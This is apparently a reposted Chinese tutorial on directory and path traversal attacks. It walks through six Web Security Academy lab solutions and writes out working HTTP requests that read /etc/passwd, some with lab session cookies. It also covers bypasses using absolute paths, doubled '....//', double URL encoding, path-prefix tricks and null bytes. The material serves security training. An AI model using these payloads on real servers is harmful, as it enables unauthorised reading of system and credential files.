WEB安全基础入门—目录遍历(路径遍历\路径穿越攻击)

这篇具有很好参考价值的文章主要介绍了WEB安全基础入门—目录遍历(路径遍历\路径穿越攻击)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

欢迎关注订阅专栏!
WEB安全系列包括如下三个专栏:

  • 《WEB安全基础-服务器端漏洞》
  • 《WEB安全基础-客户端漏洞》
  • 《WEB安全高级-综合利用》

知识点全面细致,逻辑清晰、结合实战,并配有大量练习靶场,让你读一篇、练一篇,掌握一篇,在学习路上事半功倍,少走弯路!
欢迎关注订阅专栏!

  • 专栏文章追求对知识点的全面总结,逻辑严密,方便学习掌握。力求做到看完一篇文章,掌握一类漏洞知识。让读者简洁高效的掌握WEB安全知识框架,推开入门深造的大门。
  • 绝不为了追求文章数量,彰显内容丰富而故意拆散相关知识点。这会导致逻辑凌乱,让读者沉迷在无尽的技巧中而迷失进阶的道路!本系列的目标是授之以技巧不如授之以渔。
  • 每篇文章均配有大量靶场,点击文章中靶场名即可跳转练习(靶场在网站注册即可免费使用)。
  • 欢迎订阅专栏!建议学完两个基础专栏,再学习高级哦~

1. 什么是目录遍历攻击

攻击者在服务器端任意访问和修改文件、数据和凭证等的一系列危险操作,最终控制整个服务器的行为,称为目录遍历攻击。
WEB安全基础入门—目录遍历(路径遍历\路径穿越攻击),WEB安全0基础入门系列,web安全,安全,目录遍历,路径穿越,网络安全

2.任意读取文件

  1. 网站中往往有读取图片的链接,程序往往通过照片的本地\远程文件路径,调用文件系统API去读取内容。

<img src="/loadImage?filename=218.png">

程序调用的实际完整路径为 /var/www/images/218.png

  1. 若网站没有路径防护或过滤,可构造如下连接,实际访问服务器上的密码本或敏感配置

https://insecure-website.com/loadImage?filename=../../../etc/passwd

…/在linux意味着上一级目录,那…/…/就是上两级目录。window …/ 或者…\均可。一般要跳转至根目录(可多次…/…/…/)再去输入感兴趣文件的绝对路径。

https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini

例题1

3. 常见的防护绕过方法

  1. 程序对URL中的./(./当前目录的表示方法)等符号进行转义。可尝试使用绝对路径、双写等。如/etc/passwd//etc//passwd
  2. 有些程序会对../进行过滤,可采用URL编码或URL双重编码进行绕过,如....//

例题 2、3、4

  1. 有些会对路径头有要求无法改动,此时可使用路径后增加../../../yourpath 实现绕过

例题5

  1. 有些会对文件格式做要求,比如必须已png结尾,此时可以使用阶段符号%00实现绕过

例题 6

4. 漏洞实例

1. 文件路径遍历,简单情况 (File path traversal, simple case)

  • 目标

读取/etc/passwd 文件内容

  • 解题思路
    1. 截取数据包,发现很多图片的数据包为
GET /image?filename=21.jpg HTTP/1.1
Host: ac9c1f821e653c76c0291f4600f80077.web-security-academy.net
  1. 尝试构造目录遍历攻击包
GET /image?filename=../../../etc/passwd HTTP/1.1
Host: ac9c1f821e653c76c0291f4600f80077.web-security-academy.net
HTTP/1.1 200 OK
Content-Type: image/jpeg
Connection: close
Content-Length: 1256

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

2. 文件路径遍历,使用绝对路径绕过(File path traversal, traversal sequences blocked with absolute path bypass)

  • 目标

读取/etc/passwd 文件内容

  • 解题思路

使用绝对路径绕过

GET /image?filename=/etc/passwd HTTP/1.1
Host: acdc1fa71e61136dc0d333ff009d0097.web-security-academy.net
Cookie: session=A0bmGM8oWsiKBIEnRVoa3Hf7ScODLbj0

3. 文件路径遍历,双写绕过过滤 (File path traversal, traversal sequences stripped non-recursively)

  • 目标

读取/etc/passwd 文件内容

  • 解题思路
    1. 发现常规的…/无效 尝试双写绕过....//....//etc//passwd
GET /image?filename=....//....//....//etc//passwd HTTP/1.1
Host: acd81f9d1fe83b0dc0858f0f00a20095.web-security-academy.net

4. 文件路径遍历,多重URL编码绕过过滤

  • 目标

读取/etc/passwd 文件内容

  • 解题思路
    1. 发现传统双写绕过不成功,考虑Fuzz(混淆绕过)。Burp爆破模块内置了混淆的字典

WEB安全基础入门—目录遍历(路径遍历\路径穿越攻击),WEB安全0基础入门系列,web安全,安全,目录遍历,路径穿越,网络安全

WEB安全基础入门—目录遍历(路径遍历\路径穿越攻击),WEB安全0基础入门系列,web安全,安全,目录遍历,路径穿越,网络安全

  1. 发现一个成功的,后面该下路径文件名就行
GET /image?filename=%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252f%2e%252e%252fetc%2fpasswd HTTP/1.1
Host: ac571fd31e5a12a6c03c2e64008200be.web-security-academy.net

5. 文件路径遍历,验证路径开头(File path traversal, validation of start of path)

  • 目标

读取/etc/passwd 文件内容

  • 解题思路

如题必须以/var/www/images开头,所以后接多个../跳转至根目录,在写出目标文件绝对路径

GET /image?filename=/var/www/images/../../../../etc/passwd HTTP/1.1
Host: ac361f0b1ee43c97c08f438a00db004a.web-security-academy.net
Cookie: session=01EaYq2nzAPLOi9viHGOEokhPCWz2Gwg

6. 文件路径遍历,空字节绕过文件扩展名验证 (File path traversal, validation of file extension with null byte bypass)

  • 目标

读取/etc/passwd 文件内容文章来源地址https://www.toymoban.com/news/detail-782642.html

  • 解题思路
GET /image?filename=../../../../etc/passwd%00.png HTTP/1.1
Host: ac831fcc1fcb82d8c02b089100dd0098.web-security-academy.net

到了这里,关于WEB安全基础入门—目录遍历(路径遍历\路径穿越攻击)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 目录穿越/遍历漏洞及对其防御方法的绕过

      目录穿越(目录遍历)是一个Web安全漏洞,攻击者可以利用该漏洞读取运行应用程序的服务器上的任意文件。 这可能包括应用程序代码和数据,后端系统的登录信息以及敏感的操作系统文件。目录穿越不仅可以访问服务器中的任何目录,还可以访问服务器中任何文件的内

    2024年02月11日
    浏览(32)
  • 文件操作安全之-目录穿越原理篇

    本节将详细解释一下目录穿越相关内容,作为我的专栏《安全运营之网络攻击研判分析》中的一节。本文主要阐述目录穿越相关的原理,关于目录穿越攻击的流量示例,以及分析研判等内容,详见这里。 Linux系统中提供了./用以表示当前目录,…/表示上一级目录,如下是Lin

    2024年02月08日
    浏览(29)
  • 文件操作安全之-目录穿越流量告警运营分析篇

    本文从目录穿越的定义,目录穿越的多种编码流量数据包示例,目录穿越的suricata规则,目录穿越的告警分析研判,目录穿越的处置建议等几个方面阐述如何通过IDS/NDR,态势感知等流量平台的目录穿越类型的告警的线索,开展日常安全运营工作,从而挖掘有意义的安全事件。

    2024年02月03日
    浏览(28)
  • JAVA安全之目录遍历漏洞

    路径(目录)遍历是攻击者能够访问或存储应用程序运行位置之外的文件和目录的漏洞。这可能会导致从其他目录读取文件,并且在文件上传覆盖关键系统文件的情况下。 例如,假设我们有一个托管一些文件的应用程序,并且可以按以下格式请求它们:http://example.com/file=re

    2024年02月08日
    浏览(36)
  • 41 JAVA安全-目录遍历访问控制XSS等安全问题

    Javaweb代码分析-目录遍历安全问题 代码解析及框架源码追踪: 第一关: Payload: …/x …/相当于跨越上级目录的符号,…/x可以更改默认上传文件的路径 通过命名文件的名字,在文件名命名加入路径符号,来实现将这个文件在上传路径上的更改 目录解析,如果对方设置了目录解

    2024年01月21日
    浏览(29)
  • Web安全入门基础知识(笔记)

    0x01 基础名词 一、域名 1.什么是域名 2.域名在那里注册 3.什么是二级域名,多级域名,顶级域名 4.域名发现对于安全测试的意义 二、DNS 1.什么是DNS 2.本地host和DNS的关系 3.CDN是什么,和DNS有什么关系 三、常见的DNS攻击 四、脚本语言 1.常见的脚本语言有哪些 2.不同的脚本类型于

    2024年02月10日
    浏览(47)
  • 零基础想学习 Web 安全,如何入门?

    想学习 Web 安全,如何入门? 1.我真的喜欢搞安全吗? 2.我想通过安全赚钱钱? 3.我不知道做什么就是随便? 4.一辈子做安全吗 这些不想清楚会对你以后的发展很不利,与其盲目的学习 web 安全,不如先做一个长远的计划。否则在我看来都是浪费时间。 Web 分为好几层,一图胜千言

    2024年02月03日
    浏览(53)
  • Servlet路径问题(“/“到底代表什么)-“web应用程序的根目录“与“web站点的根目录“

    JavaWeb——Servlet路径问题(\\\"/\\\"到底代表什么) 在JavaWeb中,使用路径时出现了大量的\\\"/“,而每次使用”“时都感觉其代表的含义是不同的,因此,本篇文章将汇总JavaWeb中的”\\\"出现情况及其所代表的含义。 了解这些\\\"/\\\"含义之前,先来了解绝对路径与相对路径的概念。 提前说一下

    2023年04月25日
    浏览(32)
  • 小白学安全--web安全入门(非常详细)零基础入门到精通,收藏这一篇就够了

    作为一个从知道创与到自建安全团队的资深白帽子,一路也是从不止所谓的web小白历经磨难成长起来的我,给现在正在准备学习web安全的同学一些建议。在我认为,渗透安全的范围其实要学习的东西很广泛的,间接的相当于你要是一个前端工程师,也要是一个后端工程师(其

    2024年02月19日
    浏览(38)
  • WEB安全基础入门—操作系统命令注入(shell 注入)

    欢迎关注订阅专栏! WEB安全系列包括如下三个专栏: 《WEB安全基础-服务器端漏洞》 《WEB安全基础-客户端漏洞》 《WEB安全高级-综合利用》 知识点全面细致,逻辑清晰、结合实战,并配有大量练习靶场,让你读一篇、练一篇,掌握一篇,在学习路上事半功倍,少走弯路! 欢

    2024年02月01日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包